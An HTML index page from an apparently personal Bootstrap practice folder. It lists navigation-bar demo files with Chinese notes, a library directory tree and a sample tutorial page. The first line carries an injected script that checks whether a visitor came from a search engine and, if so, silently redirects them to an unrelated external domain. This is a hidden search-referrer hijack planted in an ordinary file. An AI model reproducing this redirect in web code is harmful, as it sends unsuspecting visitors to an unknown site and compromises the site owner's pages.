d:\wwwroot\wuchunhua\bootstrap\index.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>转到：<br>
002:
<a href=./响应式导航头.html>响应式导航头.html 好不变小作为我网站导航因为手机好用+搜索+下面主页</a><br><br>
003:
<a href=./鼠标触发下拉并排导航栏.html>鼠标触发下拉并排导航栏.html 鼠标滑过会触发 不适合网站手机页面 只能部分使用手机用的地方可以在网页的</a><br>
004:
<a href=./多层导航带搜索>多层导航带搜索 外国的做我主页 要删除：响应变小</a><br>
005:
<a href=./侧面自动展开多层导航.html>侧面自动展开多层导航.html</a><br>
006:
007:
<a href=./多级导航菜单>多级导航菜单 会响应变小</a>
008:
<a href=./带搜索表单和下拉箭头和注册菜单的导航栏.html>带搜索表单和下拉箭头和注册菜单的导航栏.html</a>
009:
010:
<a href=./响应式导航差.html>响应式导航差.html</a>
011:
<a href=./响应式.html>响应式.html</a>
012:
<a href=./自缩小导航.html>自缩小导航.html</a>
013:
<a href=./导航栏的分页和图标和分格子和徽章方式.html>导航栏的分页和图标和分格子和徽章方式.html</a>
014:
<a href=./下拉菜单.html>下拉菜单.html</a>
015:
016:
http://www.1z88.com/bootstrap/的总目录
017:
<br/>
018:
bootstrap/<br/>
019:
├── css/<br/>
020:
│ ├── bootstrap.css<br/>
021:
│ ├── bootstrap.css.map<br/>
022:
│ ├── bootstrap.min.css<br/>
023:
│ ├── bootstrap.min.css.map<br/>
024:
│ ├── bootstrap-theme.css<br/>
025:
│ ├── bootstrap-theme.css.map<br/>
026:
│ ├── bootstrap-theme.min.css<br/>
027:
│ └── bootstrap-theme.min.css.map<br/>
028:
├── js/<br/>
029:
|─ npm.js<br/>
030:
│ ├── bootstrap.js<br/>
031:
│ └── bootstrap.min.js<br/>
032:
└── fonts/<br/>
033:
├── glyphicons-halflings-regular.eot<br/>
034:
├── glyphicons-halflings-regular.svg<br/>
035:
├── glyphicons-halflings-regular.ttf<br/>
036:
├── glyphicons-halflings-regular.woff<br/>
037:
└── glyphicons-halflings-regular.woff2<br/>
038:
│ <br/>
039:
└── jquery/<br/>
040:
└── jquery-1.11.0.min.js<br/>
041:
<!DOCTYPE html>
042:
<html>
043:
<head>
044:
<meta charset="utf-8">
045:
<title>Bootstrap 实例 - 一个简单的网页</title>
046:
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
047:
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
048:
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
049:
<style>
050:
.fakeimg {
051:
height: 200px;
052:
background: #aaa;
053:
}
054:
</style>
055:
</head>
056:
<body>
057:
<div class="jumbotron text-center" style="margin-bottom:0">
058:
<h1>我的第一个 Bootstrap 页面</h1>
059:
<p>重置浏览器窗口大小查看效果！</p>
060:
</div>
061:
062:
<nav class="navbar navbar-inverse">
063:
<div class="container-fluid">
064:
<div class="navbar-header">
065:
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
066:
<span class="icon-bar"></span>
067:
<span class="icon-bar"></span>
068:
<span class="icon-bar"></span>
069:
</button>
070:
<a class="navbar-brand" href="#">网站名</a>
071:
</div>
072:
<div class="collapse navbar-collapse" id="myNavbar">
073:
<ul class="nav navbar-nav">
074:
<li class="active"><a href="#">主页</a></li>
075:
<li><a href="#">页面 2</a></li>
076:
<li><a href="#">页面 3</a></li>
077:
</ul>
078:
</div>
079:
</div>
080:
</nav>
081:
082:
<div class="container">
083:
<div class="row">
084:
<div class="col-sm-4">
085:
<h2>关于我</h2>
086:
<h5>我的照片:</h5>
087:
<div class="fakeimg">这边插入图像</div>
088:
<p>关于我的介绍..</p>
089:
<h3>链接</h3>
090:
<p>描述文本。</p>
091:
<ul class="nav nav-pills nav-stacked">
092:
<li class="active"><a href="#">链接 1</a></li>
093:
<li><a href="#">链接 2</a></li>
094:
<li><a href="#">链接 3</a></li>
095:
</ul>
096:
<hr class="hidden-sm hidden-md hidden-lg">
097:
</div>
098:
<div class="col-sm-8">
099:
<h2>标题</h2>
100:
<h5>副标题</h5>
101:
<div class="fakeimg">图像</div>
102:
<p>一些文本..</p>
103:
<p>菜鸟教程，学的不仅是技术，更是梦想！！！菜鸟教程，学的不仅是技术，更是梦想！！！菜鸟教程，学的不仅是技术，更是梦想！！！</p>
104:
<br>
105:
<h2>标题</h2>
106:
<h5>副标题</h5>
107:
<div class="fakeimg">图像</div>
108:
<p>一些文本..</p>
109:
<p>菜鸟教程，学的不仅是技术，更是梦想！！！菜鸟教程，学的不仅是技术，更是梦想！！！菜鸟教程，学的不仅是技术，更是梦想！！！</p>
110:
</div>
111:
</div>
112:
</div>
113:
114:
<div class="jumbotron text-center" style="margin-bottom:0">
115:
<p>底部内容</p>
116:
</div>
117:
</body>
118:
</html>
119:
120:
响应式。html要用：<br/>
121:
http://www.1z88.com/bootstrap/jquery/jquery-1.11.0.min.js<br/>
122:
http://www.1z88.com/bootstrap/js/bootstrap.min.js
123:
124: